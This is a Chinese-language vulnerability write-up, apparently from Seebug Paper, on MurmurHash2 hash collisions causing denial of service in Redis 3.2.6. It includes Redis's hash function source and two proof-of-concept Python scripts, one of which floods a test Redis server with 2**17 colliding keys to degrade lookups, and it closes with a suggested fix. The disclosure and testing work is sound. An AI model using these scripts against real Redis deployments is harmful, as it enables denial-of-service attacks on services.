作者：黑池白澤
概要信息：
- 在Martin Bosslet 2012年的這篇文章中，作者提到MurmurHash2算法被發現可以穩定構造碰撞函數，該哈希函數及其變形被CRuby, JRuby, Rubinius, Redis等開源組件使用。
- 本文是基于Martin Bosslet的發現繼續挖掘的結果，在此對Martin Bosslet表示感謝。
- 原文中作者的碰撞函數是基于Ruby完成的，這里將發布該碰撞函數的Python版本。
- 在Martin Bosslet的文章中對碰撞函數的構造原理未做足夠透徹的解釋，我將在稍后一段時間將分析構造原理的部分補充。
詳細信息：
- Redis使用MurmurHash2算法作為數據結構Hashtable的哈希算法。
- 當Hashtable出現碰撞后，Redis選擇將發生碰撞的項用鏈表相連，最新的項插在鏈表首。
- Redis將Key和對應的Value以鍵值對的形式儲存在一個Hashtable中。
- Redis并未將用戶傳入的Key進行任何編碼就直接使用。
- 在2012年MurmurHash2算法被發現可以穩定構造碰撞函數。
- 當將大量使用在Murmurhash2算法下產生相互碰撞的字符串作為Key的鍵值對插入Redis后，在訪問這些鍵值對時Hashtable的行為將退化為鏈表。
驗證：
測試平臺： i3-3210，8G Ram, Redis3.2.6，位于虛擬機中（2 cores CPU， 2G Ram）
Redis3.2.6中使用的Murmurhash2函數：
unsigned int mmhash_32(const void *key, int len) {
/* 'm' and 'r' are mixing constants generated offline.
They're not really 'magic', they just happen to work well. */
const uint32_t m = 0x5bd1e995;
const int r = 24;
/* Initialize the hash to a 'random' value */
uint32_t h = 5381 ^ len;
/* Mix 4 bytes at a time into the hash */
const unsigned char *data = (const unsigned char *)key;
while(len >= 4) {
uint32_t k = *(uint32_t*)data;
k *= m;
k ^= k >> r;
k *= m;
h *= m;
h ^= k;
data += 4;
len -= 4;
}
/* Handle the last few bytes of the input array */
switch(len) {
case 3: h ^= data[2] << 16;
case 2: h ^= data[1] << 8;
case 1: h ^= data[0]; h *= m;
};
/* Do a few final mixes of the hash to ensure the last few
* bytes are well-incorporated. */
h ^= h >> 13;
h *= m;
h ^= h >> 15;
return (unsigned int)h;
}poc_collision.py,用于驗證碰撞函數（其中mmhash將Redis3.2.6的dictGenHashFunction封裝以供Python調用，基于mmhash 魔改而來）：
# -*- coding:utf-8 -*-
import mmhash
from murmurhash2_collision import collision
from binascii import crc32
c_l = list(collision(5))
hashs = (mmhash.get_hash_32(c) for c in c_l)
crc32ed_collisions = (crc32(c) for c in c_l)
print "crc32ed collision" + "\t" + "MurmurHash2ed collision"
for pair in zip(crc32ed_collisions, hashs):
print "{0}\t{1}".format(*pair)輸出結果：
poc_redis.py，用以對比Redis3.2.6對同等數量惡意與非惡意數據的響應：
# -*- coding:utf-8 -*-
import redis
import os
import time
from murmurhash2_collision import collision
BLOCK = 17
connection = redis.Redis(host="192.168.107.102", password="123456")
func_set = connection.set
connection.flushall()
print "Insert 2**{0} normal key-value pairs.".format(BLOCK)
start = time.time()
first_key = os.urandom(8*BLOCK)
func_set(name=first_key, value="")
for i in xrange(0, 2**BLOCK-1):
func_set(os.urandom(8*BLOCK), value="")
end = time.time()
print "Insertion complete. It takes {1} seconds.".format(BLOCK, end - start)
print "Now get the first inserted key."
start = time.time()
connection.get(first_key)
end = time.time()
print "It takes {0} seconds.".format(end - start)
print "*"*32
print "Now flush all the data."
connection.flushall()
print "Now insert 2**{0} key-value pairs with collisional strings as keys.".format(BLOCK)
c = list(collision(BLOCK))
first_key = c[0]
func_set(name=first_key, value="")
start = time.time()
for ck in c:
func_set(name=ck, value="")
end = time.time()
print "Insertion complete. It takes {1} seconds.".format(BLOCK, end - start)
print "Now get the first inserted key."
start = time.time()
connection.get(first_key)
end = time.time()
print "It takes {0} seconds.".format(end - start)插入普通隨機數據時Redis服務器負載與插入惡意數據時服務器負載對比：
輸出結果：
修復方法：
Redis hashtable目前處理碰撞的方法是直接將發生碰撞的項用鏈表相連。建議碰撞發生時使用另一個不同的哈希函數進行rehash（比如time33），若與現有項再次發生碰撞，再使用鏈表將項相連。在我的認知范圍內（也許不完全正確），針對兩個不同的哈希算法穩定構造碰撞是困難的。
未完成工作
- 未測試在更高并發下Redis的響應。
- 對碰撞函數的構造原理進行深入分析。
- 研究其他使用MurmurHash2算法的軟件是否存在同樣的漏洞。
反思與疑問
- 現在我還無法準確判斷判斷該漏洞的威脅程度，一方面是受限于手上沒有資源驗證Redis在更高并發下的響應，另一方面該漏洞的觸發必須滿足客戶端的輸入要作為Key并且原封不動地插入Redis。
- 這個漏洞的發現源于我閱讀源代碼是對MurmurHash2算法的搜索，在維基百科的參考鏈接中提到了Martin Bosslet的文章，同時文章明確指出Redis在使用該算法。是什么原因使這個（潛在的）DDos漏洞存在這么多年？
本文由 Seebug Paper 發布，如需轉載請注明來源。本文地址：http://www.bjnorthway.com/180/
暫無評論